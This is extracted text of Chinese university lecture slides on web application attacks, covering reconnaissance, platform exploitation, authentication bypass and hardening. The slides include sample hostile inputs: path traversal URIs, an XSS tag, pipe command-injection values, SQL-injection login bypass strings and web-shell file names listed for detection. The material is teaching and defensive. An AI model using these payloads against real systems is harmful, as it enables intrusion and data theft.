版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
上海交通大學(xué)軟件學(xué)院網(wǎng)絡(luò)與信息安全
-Web上的故事目錄Web應(yīng)用攻擊的基礎(chǔ)知識(shí)剖析攻擊Web平臺(tái)攻擊Web認(rèn)證攻擊Web授權(quán)輸入驗(yàn)證攻擊攻擊Web數(shù)據(jù)存儲(chǔ)攻擊XMLWeb服務(wù)攻擊Web應(yīng)用管理攻擊Web客戶端拒絕服務(wù)攻擊充分認(rèn)知分析第一節(jié)Web應(yīng)用攻擊的基礎(chǔ)知識(shí)Web應(yīng)用攻擊的基礎(chǔ)知識(shí)剖析攻擊Web平臺(tái)攻擊Web認(rèn)證攻擊Web授權(quán)輸入驗(yàn)證攻擊攻擊Web數(shù)據(jù)存儲(chǔ)攻擊XMLWeb服務(wù)攻擊Web應(yīng)用管理攻擊Web客戶端拒絕服務(wù)攻擊充分認(rèn)知分析什么是Web應(yīng)用攻擊為什么攻擊Web應(yīng)用何人、何時(shí)、何地攻擊Web應(yīng)用如何攻擊Web應(yīng)用程序1.1什么是Web應(yīng)用攻擊Web應(yīng)用程序:一種能通過(guò)超文本傳輸協(xié)議(HyperTextTransferProtocol,HTTP)訪問(wèn)的程序Web攻擊的本質(zhì):通過(guò)HTTP協(xié)議篡改應(yīng)用程序通過(guò)Web的圖形界面直接操縱應(yīng)用程序通過(guò)統(tǒng)一資源標(biāo)識(shí)符(UniformResourceIdentifier,URI)篡改應(yīng)用程序通過(guò)未包含在URI里的HTTP元素篡改應(yīng)用程序1.1什么是Web應(yīng)用攻擊通過(guò)Web的圖形界面直接操縱應(yīng)用程序示例通過(guò)統(tǒng)一資源標(biāo)識(shí)符(UniformResourceIdentifier,URI)篡改應(yīng)用程序URI結(jié)構(gòu)與語(yǔ)法Scheme://authority/path?query描述了位于服務(wù)器(authority)上的資源(path)或應(yīng)用程序(query)所采用的協(xié)議(Scheme)操控URI的例子https://server/folder/../../../../cmd.exehttp://server/applocation?parameter1=aaaa...256a’shttp://server/applocation?parameter1=<script>’alert’</script>請(qǐng)求方法、請(qǐng)求頭和數(shù)據(jù)體(下頁(yè))1.1什么是Web應(yīng)用攻擊請(qǐng)求方法、請(qǐng)求頭和數(shù)據(jù)體大多數(shù)Web應(yīng)用程序僅使用兩種請(qǐng)求方法:GET和POST區(qū)別:GET把所有的數(shù)據(jù)放在URI中,POST把數(shù)據(jù)放在數(shù)據(jù)體中HTTP請(qǐng)求頭(header)通常用來(lái)存儲(chǔ)關(guān)于傳輸協(xié)議層的額外信息。和安全相關(guān)的HTTP請(qǐng)求頭包括如下幾個(gè):授權(quán)(Authorization)緩存控制(Cache-control)RefererCookies數(shù)據(jù)體注注不可見就代表安全?思考1.1什么是Web應(yīng)用攻擊資源攻擊者最終目的是獲得對(duì)Web應(yīng)用程序的資源(resources)的未授權(quán)訪問(wèn)。大部分Web應(yīng)用程序只有三層:表示層(presentation)-超文本標(biāo)記語(yǔ)言頁(yè)面,靜態(tài)或動(dòng)態(tài)生成,很少包含對(duì)黑客有用信息。http://server/file.html(靜態(tài)HTML文件)http://server/script.php(一個(gè)超文本預(yù)處理器或者PHP腳本)http://server/script.asp(微軟活動(dòng)服務(wù)器網(wǎng)頁(yè)
ActiveServerPages,ASP腳本)http://server/script.aspx(微軟Asp.NET腳本)邏輯層(logic)-Web開發(fā)者會(huì)在該層產(chǎn)生錯(cuò)誤,導(dǎo)致應(yīng)用程序遭受攻擊。http://server/script.php?input1=foo&input2=barhttp://server/script/aspx?date=friday&time=1745http://server/app?input1=foo&input2=bar(使用單獨(dú)的可執(zhí)行文件app接收輸入?yún)?shù)和值)數(shù)據(jù)層(data)-有價(jià)值的信息。應(yīng)避免被表示層和邏輯層以不恰當(dāng)?shù)姆绞奖┞?.1什么是Web應(yīng)用攻擊資源大部分Web應(yīng)用程序三層:1.1什么是Web應(yīng)用攻擊認(rèn)證、會(huì)話和授權(quán)HTTP協(xié)議缺陷:沒有維護(hù)會(huì)話狀態(tài)克服方法:實(shí)現(xiàn)一些認(rèn)證、保存會(huì)話(認(rèn)證、Cookie)Web客戶端和HTMLWeb客戶端:能夠理解HTTP的工具HTML具有可擴(kuò)展性和變體,可以在靜態(tài)的Web內(nèi)容中嵌入大量的功能-腳本、ActiveX、遠(yuǎn)程圖片、任意層疊樣式表CSS(CascadingStyleSheet)其它協(xié)議Web分布式創(chuàng)作和版本控制(WebDistributedAuthoringandVersioning,
即WebDAV)基于XML的Web服務(wù)-XML(eXtensibleMarkupLanguage,XML)Ajax(AsynchronousJavaScriptandXML,異步JavaScript和XML)RSS(ReallySimpleSyndication,簡(jiǎn)易信息聚合)1.2為什么攻擊Web應(yīng)用廣泛性技術(shù)簡(jiǎn)單性匿名性防火墻可繞過(guò)性定制代碼的脆弱性安全的不成熟性不斷的變化性利益1.3何人、何時(shí)、何地攻擊Web應(yīng)用何人?何時(shí)?何地?KidsProfessorAdvancedprofessor1.3何人、何時(shí)、何地攻擊Web應(yīng)用Web應(yīng)用安全薄弱點(diǎn)Web平臺(tái)-Web平臺(tái)軟件漏洞,HTTP底層服務(wù)器軟件(IIS或Apache)、應(yīng)用程序開發(fā)框架(ASP.NET或PHP)Web應(yīng)用-對(duì)授權(quán)、認(rèn)證、站點(diǎn)結(jié)構(gòu)、輸入驗(yàn)證、程序邏輯以及管理接口進(jìn)行攻擊數(shù)據(jù)庫(kù)-通過(guò)數(shù)據(jù)庫(kù)查詢運(yùn)行特權(quán)指令,操縱查詢以返回額外的數(shù)據(jù)集。如SQL注入Web客戶端-活動(dòng)內(nèi)容執(zhí)行、客戶端軟件漏洞攻擊、跨站腳本錯(cuò)誤、釣魚欺騙傳輸可用性-拒絕服務(wù)攻擊(denialofservice,DOS)注注OWASP(OpenWebApplicationSecurityProject)給出被安全界廣泛認(rèn)可的前10個(gè)最嚴(yán)重Web應(yīng)用程序安全漏洞列表注1.4如何攻擊Web應(yīng)用程序HTTP分析和篡改工具Web瀏覽器示例不足瀏覽器自己篡改了URI(IE的轉(zhuǎn)義字符圓點(diǎn)、斜杠等)不能從地址欄中修改PUT請(qǐng)求的內(nèi)容瀏覽器擴(kuò)展優(yōu)點(diǎn)與瀏覽器集成性透明性瀏覽器擴(kuò)展工具IE擴(kuò)展,工具:TamperIE-BHO、IEWatch、IEHeadersFirefox擴(kuò)展,工具:LiveHTTPHeaders、TamperData、ModifyHeaders1.4如何攻擊Web應(yīng)用程序HTTP分析和篡改工具HTTP代理實(shí)現(xiàn):本地運(yùn)行HTTP服務(wù),把本地Web客戶端重定向到該服務(wù)缺陷:不能正常處理HTTPS工具:Paros(最流行的Web安全評(píng)估工具之一)、OWASPWebScarab、Fiddler、BurpIntruder、WatchfirePowerTools示例:/sandbox/shop/命令行工具CurlCurlhttps://website/login.php?user=‘perl–e‘print“a”x500’’Netcat注注在SSL之上使用的HTTP盡管也是標(biāo)準(zhǔn)的HTTP協(xié)議,但是它被稱為HTTPS(SecureHTTP,安全的HTTP),使用443端口,而不是80。注1.4如何攻擊Web應(yīng)用程序第二節(jié)Web應(yīng)用攻擊的基礎(chǔ)知識(shí)Web應(yīng)用攻擊的基礎(chǔ)知識(shí)剖析攻擊Web平臺(tái)攻擊Web認(rèn)證攻擊Web授權(quán)輸入驗(yàn)證攻擊攻擊Web數(shù)據(jù)存儲(chǔ)攻擊XMLWeb服務(wù)攻擊Web應(yīng)用管理攻擊Web客戶端拒絕服務(wù)攻擊充分認(rèn)知分析架構(gòu)剖析應(yīng)用剖析常用對(duì)抗措施剖析剖析:目的:研究和查明Web站點(diǎn)如何構(gòu)架,以及它們的應(yīng)用程序如何工作的策略獲取盡量多的關(guān)于應(yīng)用程序內(nèi)部工作的信息,包括站點(diǎn)上所有的Web網(wǎng)頁(yè)、應(yīng)用程序、以及輸入/輸出命令結(jié)構(gòu)。刺探出應(yīng)用程序的核心商業(yè)邏輯2.1構(gòu)架剖析踩點(diǎn)和掃描:定義范圍確定目標(biāo)應(yīng)用程序或組織的范圍注冊(cè)檢查DNS檢查常規(guī)的組織結(jié)構(gòu)檢查基礎(chǔ)的構(gòu)架探測(cè)技術(shù)服務(wù)器發(fā)現(xiàn)-ping掃描網(wǎng)絡(luò)服務(wù)識(shí)別-端口掃描2.1構(gòu)架剖析Banner抓取目的:確定目標(biāo)Web服務(wù)器軟件的類型及版本C:\>nc80HEAD/HTTP/1.0HTTP/1.1200OKDate:Sun,21Jun200907:22:44GMTServer:Apache/2.2.3(Debian)PHP/4.4.4-8+etch6Last-Modified:Fri,19Jun200908:10:24GMTETag:"1e34489-5b67-e6ddc00"Accept-Ranges:bytesContent-Length:23399Connection:closeContent-Type:text/html使用HEAD方法獲取服務(wù)器bannerC:\>nc4580HEAD/HTTP/1.1HTTP/1.1400BadRequestServer:Microsoft-IIS/5.0Date:Sun,21Jun200907:50:29GMTConnection:closeContent-Length:4009Content-Type:text/html2.1構(gòu)架剖析高級(jí)HTTP指紋(fingerprinting)定義:抓取HTTP相關(guān)版本的banner,不再簡(jiǎn)單查看頭部值,而是觀察每種Web服務(wù)器的整體行為,以及各種Web服務(wù)器的獨(dú)特響應(yīng)。目的:Banner被消除或改寫方法:不常見的HTTP請(qǐng)求方法–如:非法PUT請(qǐng)求服務(wù)器頭的區(qū)別–如:順序、額外信息等工具:httprint2.1構(gòu)架剖析中間件構(gòu)架檢測(cè)虛擬主機(jī)2.1構(gòu)架剖析中間件構(gòu)架檢測(cè)負(fù)載均衡器在一個(gè)IP范圍內(nèi)做端口掃描時(shí)間戳分析Etag與Last-Modified的差別負(fù)載均衡器Cookies枚舉SSL差別檢查HTML源代碼
檢測(cè)代理TRACE請(qǐng)求-服務(wù)器精確回顯收到的請(qǐng)求代理插入固定的頭反向代理TRACE/folder1/index.aspxHTTP/1.1->TRACEsite1/folder1/index.aspxHTTP/1.1Host:Connect標(biāo)準(zhǔn)測(cè)試一般代理請(qǐng)求GETindex.html->GET/HTTP1.0配置不完備,可被用于端口掃描GET:25/HTTP/1.0檢測(cè)Web應(yīng)用防火墻Teros防火墻–非法TRACE請(qǐng)求、非法PUT請(qǐng)求、Cookie請(qǐng)求F5TrafficShield–非法PUT請(qǐng)求、CookieNetcontinuum–非法PUT請(qǐng)求、CookieURLScan–超長(zhǎng)請(qǐng)求、特殊請(qǐng)求,錯(cuò)誤代碼404SecureIIS–超長(zhǎng)請(qǐng)求、特殊請(qǐng)求,錯(cuò)誤代嗎4062.2應(yīng)用剖析目的:生成Web站點(diǎn)的完整視圖,包括內(nèi)容、組件、功能,以及流量、從而可以收集關(guān)于底層漏洞的線索。確認(rèn)站點(diǎn)的編寫語(yǔ)言、站點(diǎn)的基本結(jié)構(gòu)、所使用的動(dòng)態(tài)內(nèi)容。方法:手工檢測(cè)搜索引擎自動(dòng)化爬行2.2應(yīng)用剖析手工檢測(cè):前期工作應(yīng)用程序文檔化頁(yè)面名稱通向頁(yè)面的完整路徑請(qǐng)求該頁(yè)面是否需要認(rèn)證頁(yè)面是否需要SSLGET/POST參數(shù)注釋流程圖–工具:WebSphinx2.2應(yīng)用剖析手工檢測(cè):前期工作表格和流程圖中應(yīng)該記錄的其它信息靜態(tài)頁(yè)面和動(dòng)態(tài)頁(yè)面目錄結(jié)構(gòu)常見文件擴(kuò)展常見文件幫助文件Java類和Applets類HTML源代碼表單查詢字符串和參數(shù)常見Cookie后端連接2.2應(yīng)用剖析靜態(tài)頁(yè)面和動(dòng)態(tài)生成頁(yè)面靜態(tài)頁(yè)面:一般為.html文件,無(wú)法進(jìn)行輸入認(rèn)證攻擊,可能包含注釋信息動(dòng)態(tài)頁(yè)面,一般為.asp、.jsp、.php等通常做法:保存文件副本工具:Lynx、Netcat、Perl編寫腳本缺陷:只能保存沒有發(fā)送POST請(qǐng)求而獲得的頁(yè)面調(diào)查過(guò)程:觀察程序員的命名習(xí)慣,推測(cè)程序員的思維UserMenu.asp->AdminMenu.asp2.2應(yīng)用剖析目錄結(jié)構(gòu)不要只局限于瀏覽器和站點(diǎn)菜單選擇項(xiàng)可見的那部分結(jié)構(gòu)。別的可能的目錄:管理員目錄站點(diǎn)舊版本備份目錄數(shù)據(jù)目錄推測(cè)方法:揣測(cè)管理員和站點(diǎn)程序員的思維靜態(tài)內(nèi)容在/html目錄中∧動(dòng)態(tài)內(nèi)容在/jsp目錄中->cgi腳本在/cgi目錄中常見的目錄推測(cè):被認(rèn)為安全的目錄:/admin//secure//adm/備份文件或日志文件的目錄:/.bak//backup//back//log//logs//archive//old/私人apache目錄:/~root//~bob//~cthulhu/文件包含目錄:/include//inc//js//global//local/用于國(guó)際化的目錄:/de//en//1033//fr/嘗試方法:如果目錄不存在,會(huì)返回一個(gè)404的錯(cuò)誤2.2應(yīng)用剖析常見擴(kuò)展名文件擴(kuò)展名是應(yīng)用程序特征指示器用來(lái)確定語(yǔ)言類型和應(yīng)用程序類型告訴我們Web服務(wù)器是如何處理文件的確定擴(kuò)展名對(duì)應(yīng)應(yīng)用程序的方法Google應(yīng)用程序/技術(shù)常見文件擴(kuò)展名CodeFusion.cfmASP.NET.aspxLotusDomino.nsfASP.aspWebSphere.d2wPeopleSoft.GPLBroadVision.doOracleAppServer.showPerl.plCGI.cgiPython.pyPHP..php/.php3/.php4SSI.shtmlJava.jsp/.java2.2應(yīng)用剖析常見文件可透漏站點(diǎn)運(yùn)行的應(yīng)用程序和版本常見文件列表ReadmeTodoChangesInstall.txtEULA.txt如:/Readme.txt2.2應(yīng)用剖析幫助文件通常不出現(xiàn)在URL中幫助文件包括層疊樣式表(CSS)指示瀏覽器如何格式化文本,很少包含敏感信息XML樣式表(.xsl)為XML請(qǐng)求和格式定義了文檔結(jié)構(gòu),經(jīng)常會(huì)列出數(shù)據(jù)庫(kù)字段和其它的幫助文件JavaScript文件嵌入HTML文件中,也存在于單獨(dú)的.js文件中包含文件,如在IIS系統(tǒng)中,包含文件.inc通常用來(lái)控制數(shù)據(jù)庫(kù)的訪問(wèn),或者包含應(yīng)用程序內(nèi)部使用的變量其它:HTML文件中,可能包含ASP、PHP、Perl、text和其它文件的引用2.2應(yīng)用剖析Java類和Applet某些網(wǎng)頁(yè)源碼隱藏?cái)?shù)據(jù)過(guò)濾檢測(cè)和調(diào)查站點(diǎn)功能,如加密功能、數(shù)據(jù)庫(kù)連接功能,應(yīng)該直接下載Java類或者編譯好的JavaServlet,因此可以窺探代碼功能實(shí)現(xiàn)。獲取方法:在Servlet名稱之后添加.java或者.class備份目錄中搜索,通常被設(shè)定為不可執(zhí)行,從而可以獲取真正的文件常見文件名:SessionServlet,AdminServlet,SnoopServlet,test反編譯工具:JavaDisassembler:jad2.2應(yīng)用剖析HTML源代碼HTML注釋:字符”
”標(biāo)記了所有的基本HTML注釋方法:歸納類似文件名的注釋:下載這些文件,查找信息舊代碼:打開舊代碼,查找漏洞自動(dòng)生成的注釋明顯的內(nèi)容:如SQL語(yǔ)句、數(shù)據(jù)庫(kù)密碼、TODOE-mail、id信息調(diào)查2.2應(yīng)用剖析表單檢查一個(gè)頁(yè)面的表單時(shí),應(yīng)該注意的方面:方法:表單提交數(shù)據(jù)使用的是GET還是POST行為:表單調(diào)用了什么類型的腳本:.pl,.sh,.asp,其中.sh(shell腳本)在Web服務(wù)器上是不安全的最大長(zhǎng)度:是否做了輸入限制,長(zhǎng)度限制是否容易繞過(guò)隱藏:字段是否對(duì)用戶進(jìn)行了隱藏自動(dòng)完成:是否使用了自動(dòng)完成,輸入自段是否隱藏了敏感信息2.2應(yīng)用剖析查詢字符串和參數(shù)大多位于問(wèn)號(hào)標(biāo)記后面,指明了發(fā)給程序內(nèi)部動(dòng)態(tài)可執(zhí)行程序或庫(kù)的一些參數(shù)/search?q=test&output=xml_no_dtd&ie=GB2312&oe=GB2312&client=default_frontend&proxystylesheet=default_frontend&site=default_collection查詢字符串和參數(shù)是需要收集的最重要的信息,代表了動(dòng)態(tài)Web應(yīng)用的核心功能。帶有最易變化的,是最不安全的。容易帶來(lái)的安全威脅:冒充其它用戶獲得受限數(shù)據(jù)運(yùn)行任意系統(tǒng)命令執(zhí)行應(yīng)用程序開發(fā)者意料之外的操作2.2應(yīng)用剖析查詢字符串和參數(shù)如何分析查詢字符串和參數(shù)例子1:/search.cgi?searchTerm=testing&db=/templates/db/archive.db一些嘗試
參數(shù)含義Db=/../../../../../etc/password這樣做可以獲取文件嗎?如果是win32系統(tǒng),應(yīng)該嘗試獲取boot.iniDb=/templates/db/可以列出目錄嗎?Db=/templates/db/%00使用NULL字節(jié)技巧來(lái)獲取目錄列表Db=/templates/db/junk.db發(fā)送一個(gè)非法數(shù)據(jù)庫(kù)名時(shí),服務(wù)器如何響應(yīng)Db=|lsordb=|dir嘗試使用perl管道技巧Db=嘗試使用空格Db=*如果使用*做為path,會(huì)在配置中搜索所有數(shù)據(jù)庫(kù)嗎?Db=/search.cgi提交一個(gè)擴(kuò)展名,會(huì)不會(huì)轉(zhuǎn)儲(chǔ)源代碼?/templates/db/archive.db能否直接下載db文件/templates/db/可以得到目錄列表嗎?db/=/templates/db/current.db猜測(cè)隱藏?cái)?shù)據(jù)庫(kù)名2.2應(yīng)用剖析查詢字符串和參數(shù)如何分析查詢字符串和參數(shù)例子2-假冒攻擊:/login?userid=24610例子3-會(huì)話標(biāo)識(shí),如cookie,相關(guān)字符串為sessionid、session、sid和s等/menuasp?sid=7869ADFD例子4-數(shù)據(jù)庫(kù)查詢,SQL注入的切入點(diǎn)/dbsubmit.php?sTitle=MS&ihpone=12345678例子5-查找編碼/加密值“__VIEWSTATE=dDwtNTI09878MDE10zs+zbcf2RYjMPeVgUrY2Etj43Nh12Q=”-base64編碼MD5,SHA-1,長(zhǎng)度判斷2.2應(yīng)用剖析常見的Cookie現(xiàn)成Web軟件使用的cookie有一定的格式軟件Cookie結(jié)構(gòu)IIS5/6ASPSESSIONID=[string]CodeFusionEfid=[number]cftoken=[number]J2EEApplicationsJsessionid=[string]2.2應(yīng)用剖析使用搜索工具進(jìn)行剖析搜索工具:Google,MSN,Yahoo使用robots.txt確定某些目錄2.2應(yīng)用剖析自動(dòng)Web爬行(crawling)工具缺點(diǎn):不能處理人機(jī)交互而設(shè)計(jì)的Web表單對(duì)非正規(guī)布局的站點(diǎn),難以簡(jiǎn)單處理無(wú)法維護(hù)正常瀏覽時(shí)的狀態(tài)信息只是可用鏈接的集合工具:LynxWgetTeleportProBlackWidowOfflineExplorerPro2.2應(yīng)用剖析常見的Web應(yīng)用剖析…2.3常用對(duì)抗措施避免設(shè)計(jì)和錯(cuò)誤配置導(dǎo)致的信息泄露加強(qiáng)配置和最小權(quán)限訪問(wèn)策略保護(hù)目錄不同的用戶/管理員根目錄來(lái)減輕源代碼泄露攻擊和目錄遍歷攻擊IIS下將InetPub目錄放置到非系統(tǒng)盤的其它卷中,防止目錄遍歷接觸敏感文件保護(hù)包含文件更名,如將.inc更改為.asp.inc擴(kuò)展名映射給ASP引擎JavaScript文件集中在單獨(dú)的目錄中,確保這一目錄和其中的任何文件都沒有“執(zhí)行”權(quán)限程序員謹(jǐn)慎編寫代碼去除開發(fā)者信息使用相對(duì)路徑,腳本自身去掉目錄遍歷字符第三節(jié)攻擊Web平臺(tái)Web應(yīng)用攻擊的基礎(chǔ)知識(shí)剖析攻擊Web平臺(tái)攻擊Web認(rèn)證攻擊Web授權(quán)輸入驗(yàn)證攻擊攻擊Web數(shù)據(jù)存儲(chǔ)攻擊XMLWeb服務(wù)攻擊Web應(yīng)用管理攻擊Web客戶端拒絕服務(wù)攻擊充分認(rèn)知分析使用Metasploit進(jìn)行點(diǎn)擊式的漏洞利用手工漏洞利用檢測(cè)繞過(guò)技術(shù)Web平臺(tái)安全加固攻擊Web平臺(tái)Web平臺(tái)由常見的現(xiàn)成軟件組成,包括:COTS(Commonoff-the-shelfSoftware)服務(wù)器軟件(IIS,Apache)Web服務(wù)器的COTS擴(kuò)展(ISAPI過(guò)濾和擴(kuò)展)COTS動(dòng)態(tài)執(zhí)行環(huán)境(ASP.NET,PHP,J2EE)COTS服務(wù)/后臺(tái)程序(論壇)COTS漏洞特點(diǎn):影響范圍廣傳播速度快注注本節(jié)重點(diǎn)討論COTS軟件缺陷,而不是錯(cuò)誤配置。此類缺陷必須通過(guò)版本更新和補(bǔ)丁來(lái)修復(fù)漏洞。注3.1使用Metasploit進(jìn)行點(diǎn)擊式的漏洞利用演示3.2手工漏洞利用演示.printerMS05-039?/TECHNET/SECURITY/BULLETIN/MS05-039.MSPX3.3檢測(cè)繞過(guò)技術(shù)使用超長(zhǎng)URL繞過(guò)日志記錄為了避免DOS攻擊填滿日志,應(yīng)用程序只記錄請(qǐng)求URI的前n個(gè)字符利用:>n處填寫攻擊代碼對(duì)抗措施:使用URLScan,填寫最長(zhǎng)允許通過(guò)的URI長(zhǎng)度為n使用TRACK隱藏請(qǐng)求可用來(lái)進(jìn)行DOS攻擊而不會(huì)被記錄3.4Web平臺(tái)安全加固安全基準(zhǔn)概念通用安全實(shí)踐執(zhí)行嚴(yán)格的雙向網(wǎng)絡(luò)訪問(wèn)控制及時(shí)安裝安全補(bǔ)丁不要在源代碼中放置私密信息,常見錯(cuò)誤:在ASP腳本中用明文SQL連接字符串在應(yīng)用配置文件中使用明文密碼使用以.inc為擴(kuò)展名的包含文件在腳本的注釋中包含了e-mail地址、目錄機(jī)構(gòu)和密碼等信息定期為易受到攻擊的服務(wù)器進(jìn)行網(wǎng)絡(luò)掃描能判斷自己是否受到了攻擊Netstat–an查看是否有陌生入站連接查看文件系統(tǒng)Sensepost.exe,Upload.asp,Upload.inc,Cmdasp.asp,e.asp,dl.exe,reggina.exe…通常位于/script這類可寫/可執(zhí)行的文件夾下查看日志3.4Web平臺(tái)安全加固C:\>netstat-anActiveConnectionsProtoLocalAddressForeignAddressStateTCP:1031:0LISTENINGTCP:1032:0LISTENINGTCP:3372:0LISTENINGTCP:8445:0LISTENINGTCP45:139:0LISTENINGTCP45:44541:1045ESTABLISHEDTCP45:103241:8080ESTABLISHEDTCP45:103541:139TIME_WAITUDP:135*:*UDP:445*:*UDP:1029*:*UDP:1030*:*UDP:3456*:*UDP45:137*:*UDP45:138*:*UDP45:500*:*Netstat–an查看是否有陌生入站連接3.4Web平臺(tái)安全加固IIS加固關(guān)閉錯(cuò)誤信息,會(huì)給攻擊者太多信息恰當(dāng)放置Web目錄刪除不必要的擴(kuò)展映射使用文件系統(tǒng)訪問(wèn)控制列表使用IISLockdown和URLScan對(duì)Web服務(wù)器卷總是使用NTFS并恰當(dāng)?shù)卦O(shè)置訪問(wèn)控制列表(ACL)注意使用最小權(quán)限法則移動(dòng)、更名、刪除或限制功能強(qiáng)大的工具如:cmd.exe,cacls.exe刪除服務(wù)器上可寫和可執(zhí)行ACL中的Everyone和Guests組3.4Web平臺(tái)安全加固Apache加固…3.4Web平臺(tái)安全加固PHP加固…第四節(jié)攻擊Web認(rèn)證Web應(yīng)用攻擊的基礎(chǔ)知識(shí)剖析攻擊Web平臺(tái)攻擊Web認(rèn)證攻擊Web授權(quán)輸入驗(yàn)證攻擊攻擊Web數(shù)據(jù)存儲(chǔ)攻擊XMLWeb服務(wù)攻擊Web應(yīng)用管理攻擊Web客戶端拒絕服務(wù)攻擊充分認(rèn)知分析認(rèn)識(shí)認(rèn)證威脅繞過(guò)認(rèn)證總結(jié)4.1認(rèn)識(shí)認(rèn)證威脅最常見的認(rèn)證類型用戶名/密碼,特點(diǎn):簡(jiǎn)單更強(qiáng)健的認(rèn)證,基于令牌和基于證書認(rèn)證服務(wù),認(rèn)證外包,如MS的Passport4.1認(rèn)識(shí)認(rèn)證威脅用戶名/密碼威脅用戶名枚舉為了提高密碼猜測(cè)的效率剖析的結(jié)果對(duì)剖析的結(jié)果進(jìn)行文本搜索,像userid、username,user等/0x557登錄中的錯(cuò)誤消息輸入的用戶名無(wú)效輸入的密碼無(wú)效輸入的用戶名/密碼無(wú)效注冊(cè)過(guò)程中探測(cè)更改密碼中的錯(cuò)誤消息需要代理賬戶鎖定時(shí)間攻擊4.1認(rèn)識(shí)認(rèn)證威脅用戶名/密碼威脅密碼猜測(cè)手動(dòng)密碼猜測(cè)自動(dòng)化密碼猜測(cè)深度優(yōu)先-對(duì)同一賬戶使用不同密碼廣度優(yōu)先-對(duì)不同賬戶使用相同密碼:不容易被鎖定工具:Hydra、WebCracker、Brutus密碼猜測(cè)的對(duì)抗措施強(qiáng)密碼策略-有效的、足夠大的密碼空間強(qiáng)賬戶鎖定策略-容易導(dǎo)致拒絕服務(wù)攻擊對(duì)表單的認(rèn)證使用定制的響應(yīng)頁(yè)面,可以阻止使用工具來(lái)進(jìn)行密碼猜測(cè)(全自動(dòng)區(qū)分計(jì)算機(jī)和人類的圖靈測(cè)試)CAPTCHAs4.1認(rèn)識(shí)認(rèn)證威脅用戶名/密碼威脅竊聽和重放攻擊基礎(chǔ)認(rèn)證:通過(guò)Authorization發(fā)出用戶名、密碼。Base64編碼對(duì)抗措施:采用https協(xié)議,基于SSL或者TLS協(xié)議保護(hù)摘要隨機(jī)數(shù)+用戶名+密碼+請(qǐng)求URI+請(qǐng)求方法+時(shí)間戳+I(xiàn)P地址等的散列算法4.1認(rèn)識(shí)認(rèn)證威脅用戶名/密碼威脅基于表單的認(rèn)證攻擊是一種定制的認(rèn)證機(jī)制,使用表單來(lái)完成。不依賴標(biāo)準(zhǔn)Web協(xié)議的任何特性,沒有一個(gè)執(zhí)行基于表單認(rèn)證的標(biāo)準(zhǔn)方法。認(rèn)證過(guò)程描述攻擊工具:Brutus優(yōu)點(diǎn):高度定制對(duì)抗方法:無(wú)論驗(yàn)證成功或者失敗,返回相同頁(yè)面基于數(shù)據(jù)庫(kù)的攻擊認(rèn)證SELECT*fromAUTHENTICATIONTABLEWHEREUsername=‘usernameinput’ANDPassword=‘passwordinput’用戶名繞過(guò):Username’—密碼繞過(guò):FakePassword’OR1=1--4.1認(rèn)識(shí)認(rèn)證威脅更強(qiáng)的Web認(rèn)證數(shù)字證書基于公開密鑰系統(tǒng)和數(shù)字證書來(lái)認(rèn)證用戶,可存放于智能卡中獲取、發(fā)布、管理證書十分困難一次一密(One-timePasswords,OTP)4.1認(rèn)識(shí)認(rèn)證威脅Web認(rèn)證服務(wù)MicrosoftPassport-通用單點(diǎn)登陸(singlesign-on,SSO)過(guò)程描述:4.2繞過(guò)認(rèn)證應(yīng)用程序都了解認(rèn)證在應(yīng)用程序安全中的重要性,因此大多實(shí)現(xiàn)非常強(qiáng)的協(xié)議。直接攻擊協(xié)議本身難度大??晒魬?yīng)用程序的其它組件劫持或欺騙一個(gè)已經(jīng)存在的會(huì)話認(rèn)證攻擊身份管理子系統(tǒng)方法:令牌重放身份管理攻擊客戶端4.2繞過(guò)認(rèn)證令牌重放(SessionHijacking)應(yīng)用程序使用兩種類型的安全令牌Cookie腳本注入竊聽定制的會(huì)話ID(sessionidentifiers,sessionID)預(yù)測(cè)暴力身份管理攻擊用戶注冊(cè)攻擊帳戶管理(密碼重置)對(duì)策:CAPTCHA(CompletelyAutomatedPublicTuringTeststoTellComputersandHuman)技術(shù)防范程序、機(jī)器人或腳本的自動(dòng)探測(cè)應(yīng)用E-Mail注冊(cè)防止密碼猜測(cè)攻擊防范搜索引擎機(jī)器人在線投票4.2繞過(guò)認(rèn)證證書管理攻擊把新密碼發(fā)送到郵箱密碼提示問(wèn)題發(fā)送重置密碼URL利用客戶端身份竊取釣魚(Fishing)4.3總結(jié)強(qiáng)健的密碼策略和賬戶鎖定策略可以使大多數(shù)基于密碼猜測(cè)的攻擊失效不要在證書中使用可識(shí)別的個(gè)人信息應(yīng)該使用HTTPS來(lái)保護(hù)認(rèn)證和傳輸,避免受到竊聽和重放攻擊的風(fēng)險(xiǎn)輸入驗(yàn)證在防范Web站點(diǎn)攻擊中起很大的作用,正確的輸入驗(yàn)證可阻止SQL注入、腳本注入和命令執(zhí)行確保認(rèn)證安全令牌,如使用大的密鑰空間生成它們記住加固身份管理系統(tǒng)第五節(jié)攻擊Web授權(quán)Web應(yīng)用攻擊的基礎(chǔ)知識(shí)剖析攻擊Web平臺(tái)攻擊Web認(rèn)證攻擊Web授權(quán)輸入驗(yàn)證攻擊攻擊Web數(shù)據(jù)存儲(chǔ)攻擊XMLWeb服務(wù)攻擊Web應(yīng)用管理攻擊Web客戶端拒絕服務(wù)攻擊充分認(rèn)知分析授權(quán)實(shí)現(xiàn)的指紋識(shí)別攻擊ACL攻擊令牌授權(quán)攻擊案例分析安全授權(quán)攻擊Web授權(quán)認(rèn)證(authentication)和授權(quán)(authorization)的區(qū)別授權(quán)的典型實(shí)現(xiàn)通過(guò)認(rèn)證的用戶會(huì)話(session)提供訪問(wèn)令牌(accesstoken)做為訪問(wèn)應(yīng)用程序的用戶的唯一標(biāo)識(shí)。應(yīng)用程序?qū)⒘钆浦械臉?biāo)識(shí)符和對(duì)象上的訪問(wèn)控制列表相比較,決定是否允許對(duì)內(nèi)部對(duì)象的訪問(wèn)。ACL(accesscontrollist):訪問(wèn)控制列表可能的問(wèn)題:攻擊者通過(guò)猜測(cè)、重放、或者假冒某人的令牌,可以查看到某些數(shù)據(jù)或執(zhí)行一些操作。攻擊的目的:劫持應(yīng)用程序所使用的授權(quán)/會(huì)話令牌繞過(guò)服務(wù)器端的ACL5.1授權(quán)實(shí)現(xiàn)的指紋識(shí)別Web應(yīng)用的授權(quán)可以很復(fù)雜,而且是可以定制的,因此,首先尋找授權(quán)實(shí)現(xiàn)的指紋。方法:爬行ACL識(shí)別訪問(wèn)/會(huì)話令牌分析會(huì)話令